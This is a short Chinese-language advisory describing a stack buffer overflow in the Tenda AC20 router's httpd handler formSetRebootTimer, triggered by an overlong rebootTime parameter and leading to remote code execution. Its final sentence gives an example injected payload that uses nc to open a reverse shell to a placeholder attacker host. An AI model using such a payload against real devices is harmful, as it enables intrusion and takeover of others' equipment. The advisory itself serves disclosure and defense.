CVE-2025-14655CVE-2025-14655是发生在Tenda AC20路由器16.03.08.12版本中的一个高危安全漏洞。该漏洞存在于Web服务器组件httpd的/goform/SetSysAutoRebbotCfg接口中的formSetRebootTimer函数。由于该函数对用户输入的rebootTime参数缺乏充分的边界检查,当攻击者构造超长的rebootTime值时,会触发栈缓冲区溢出。攻击者可以利用此漏洞通过远程网络请求无需高权限即可利用该漏洞,成功利用后可实现远程代码执行(RCE),完全控制受影响设备。鉴于该漏洞的利用代码已公开披露,且CVSS评分达到8.8分,具有严重的机密性、完整性和可用性影响,建议受影响的Tenda AC20用户立即采取防护措施。
该漏洞为典型的栈缓冲区溢出问题,出现在Tenda AC20路由器的Web管理接口中。具体而言,/goform/SetSysAutoRebbotCfg路由对应的formSetRebootTimer函数在处理rebootTime参数时,直接将用户输入复制到栈上的固定大小缓冲区中,而未进行长度验证。当攻击者通过HTTP请求提交超长的rebootTime字符串时,超出缓冲区容量的数据会覆盖栈帧中的返回地址、保存的寄存器值以及其他关键数据结构。攻击者可通过精心构造溢出数据,覆盖函数返回地址使其指向恶意代码,从而在设备上执行任意命令。由于该漏洞可通过网络远程触发,且只需低权限认证即可利用,因此具有极高的实际威胁。攻击者通常会构造类似';nc -e /bin/sh attacker_ip port;'的payload来实现反向shell连接。